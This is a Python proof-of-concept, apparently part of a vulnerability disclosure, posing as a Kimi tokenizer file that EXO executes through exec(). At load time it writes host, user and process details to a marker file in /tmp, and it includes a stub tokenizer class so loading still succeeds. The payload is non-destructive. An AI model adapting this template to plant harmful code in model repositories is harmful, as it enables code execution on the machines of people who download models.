File size: 3,074 Bytes
74b4453
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# tokenization_kimi.py - Safe PoC stub
# This file is executed via exec() by EXO when loading a model whose ID contains "kimi-k2".
# It demonstrates arbitrary code execution by writing a marker file, then provides
# the TikTokenTokenizer class that EXO expects.

import os
import sys
from pathlib import Path

# ============================================================================
# PoC PAYLOAD - executes at module load time (when EXO calls exec() on this file)
# ============================================================================
POC_MARKER_FILE = "/tmp/exo_poc_marker.txt"

def execute_payload():
    """
    Proof-of-execution: writes a marker file with basic context info.
    Non-destructive — only creates one small file under /tmp.
    """
    try:
        content = (
            "=== EXO RCE PoC - Code Execution Confirmed ===\n"
            f"Hostname: {os.uname().nodename}\n"
            f"User: {os.getenv('USER', 'unknown')}\n"
            f"PID: {os.getpid()}\n"
            f"Python: {sys.executable}\n"
            f"CWD: {os.getcwd()}\n"
        )
        Path(POC_MARKER_FILE).write_text(content)
        print(f"[PoC] tokenization_kimi executed — marker written to {POC_MARKER_FILE}")
    except Exception as exc:
        print(f"[PoC] Could not write marker file: {exc}")

execute_payload()

# ============================================================================
# STUB TOKENIZER CLASS — required by EXO's load_tokenizer_for_model_id()
# EXO calls:
#   hf_tokenizer = TikTokenTokenizer.from_pretrained(model_path)
#   hf_tokenizer.encode = _patched_encode   (uses hf_tokenizer.model.encode)
# So we need a .model attribute that has an .encode() method.
# ============================================================================

class _InnerModel:
    """Minimal inner model that satisfies EXO's patched encode path."""
    def encode(self, text: str, allowed_special=None) -> list:
        return [ord(c) % 128 for c in (text or "")]

    def decode(self, tokens, errors="replace") -> str:
        return "".join(chr(t % 128) for t in tokens)


class TikTokenTokenizer:
    """
    Stub TikTokenTokenizer to satisfy EXO's tokenizer loading expectations.
    The PoC payload has already executed by the time this class is instantiated.
    """

    def __init__(self, *args, **kwargs):
        self.model = _InnerModel()
        self.eos_token_id = 151643          # <|im_end|> in real Kimi vocab
        self.bos_token_id = 151644
        self.pad_token_id = 151643
        self.eos_token = "<|im_end|>"
        self.bos_token = "<|im_start|>"
        print("[PoC] TikTokenTokenizer stub initialised")

    @classmethod
    def from_pretrained(cls, model_path, **kwargs):
        print(f"[PoC] TikTokenTokenizer.from_pretrained called with: {model_path}")
        return cls()

    def encode(self, text: str, **kwargs) -> list:
        return self.model.encode(text)

    def decode(self, tokens, **kwargs) -> str:
        return self.model.decode(tokens)


print("[PoC] tokenization_kimi.py loaded successfully")